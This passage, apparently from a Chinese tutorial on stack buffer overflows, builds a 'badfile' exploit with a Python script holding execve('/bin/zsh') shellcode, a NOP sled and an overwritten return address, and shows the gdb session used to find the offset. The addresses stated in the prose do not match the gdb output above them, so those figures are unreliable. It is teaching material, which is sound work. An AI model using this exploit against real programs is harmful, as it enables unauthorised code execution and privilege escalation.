恶意文件#我们现在需要构造一个恶意文件 badfile,由于该文件内容为二进制格式,为了方便起见,我们使用 Python 脚本来生成该文件:
1shellcode = (2 "\x48\x31\xd2" # xor rdx, rdx3 "\x52" # push rdx4 "\x48\xb8\x2f\x62\x69\x6e\x2f\x7a\x73\x68" # mov rax, '/bin/zsh'5 "\x50" # push rax6 "\x48\x89\xe7" # 11100111 mov rdi, rsp7 "\x48\x31\xf6" # 11110110 xor rsi, rsi8 "\x48\x31\xC0" # 01001000 + 00110001 + 11000000 xorq %rax, %rax9 "\xB0\x3B" # mov $59, %al10 "\x0f\x05" # syscall11).encode('latin-1')12
13content = bytearray(0x90 for _ in range(320))14
15start = 320 - len(shellcode)16content[start:] = shellcode17
18ret = 0x7fffffffda10 + 256 + 16019content[120:128] = (ret).to_bytes(8, byteorder='little')20
21file = open("badfile", "wb")22file.write(content)23file.close()在上面的代码中,我们先不用关心 shellcode 部分,后面会详细讲解。我们先来看 content 变量的构造:我们创建了一个长度为 320 字节的字节数组,并将其初始化为 0x90,即 x86 架构中的 NOP 指令(无操作指令)。接着,我们将 shellcode 部分放置在 content 的末尾。
剩下有两个部分我们需要注意:
ret 变量:这是我们要覆盖的函数返回地址,我们需要将其设置为恶意代码在内存中的地址。
content[120:128]:这是我们将 ret 地址写入到 content 中的位置,覆盖掉原有的函数返回地址。
接下来,我们逐一解释这两个部分。
前面我们提到,攻击者需要能够拿到程序的副本,原因就是我们现在需要通过 gdb 来调试用户程序,确定各种变量的地址。
我们可以通过下面的 gdb 命令来运行用户程序,并在 main 和 foo 函数的入口处设置断点,获取得到 str 和 buffer 数组的地址:
Terminal window1gdb ./user_program2(gdb) b main3(gdb) b foo4(gdb) run5(gdb) p &str6$1 = (char (*)[400]) 0x7fffffffda107(gdb) continue8(gdb) p &buffer9$2 = (char (*)[100]) 0x7fffffffd99010(gdb) p $rbp11$3 = (void *) 0x7fffffffda0012(gdb) p/d 0x7fffffffda00-0x7fffffffd99013$4 = 112下面逐一解释上面的命令:
gdb ./user_program: 启动 gdb 并加载用户程序。
run: 开始运行程序,直到遇到断点。
b: 设置断点。
p: print 的缩写,用于打印变量的值或表达式的结果。
continue: 继续执行程序,直到下一个断点或程序结束。
&str: 数组 str 的地址,buffer 同理。
$rbp: 当前栈帧的基址指针。
通过上面的调试,我们得到了 str 数组的地址为 0x7fffffffd310,buffer 数组的地址为 0x7fffffffd290。我们还计算出了栈基址指针与 buffer 数组的偏移量为 112 字节。
根据这些信息,我们可以计算出两个信息:
函数返回地址的区域
bias=$rbp−&buffer+8bias = \text{\textdollar}rbp - \&buffer + 8bias=$rbp−&buffer+8
函数返回地址的内存地址偏移量为 buffer 数组地址到栈帧基址指针 rbp 之间的偏移量再加上 8 字节(因为返回地址紧跟在 rbp 之后,占用 8 字节)。根据上面的调试结果,我们可以计算出偏移量为 120 字节。
因此在 shellcode 中,我们需要在 content 数组的第 120 到 128 字节处写入新的返回地址。
恶意程序的地址
ret=&str+320−len(shellcode)ret = \&str + 320 - len(shellcode)ret=&str+320−len(shellcode)
而得益于我们的 nop slide 设计,恶意程序的地址可以选择函数返回地址与恶意程序之间的任意位置。
不过需要注意的是,以上的结论均基于 gdb 调试工具。实际运行时,gdb 会向程序注入一些额外的代码和数据,因此栈也会更深。所以我们需要根据实际运行时的栈布局,调整其中的 +256 即 gdb 内容偏移量(需要多次尝试);另外 +160 是为了直接进入通往恶意代码的 nop 滑梯,这儿的偏移量选取范围 +128 到 +288 内均可。
TIPso,ret 是我们要进行恶意跳转的地址,content[120:128] 是我们要覆盖的函数返回地址所在的区域。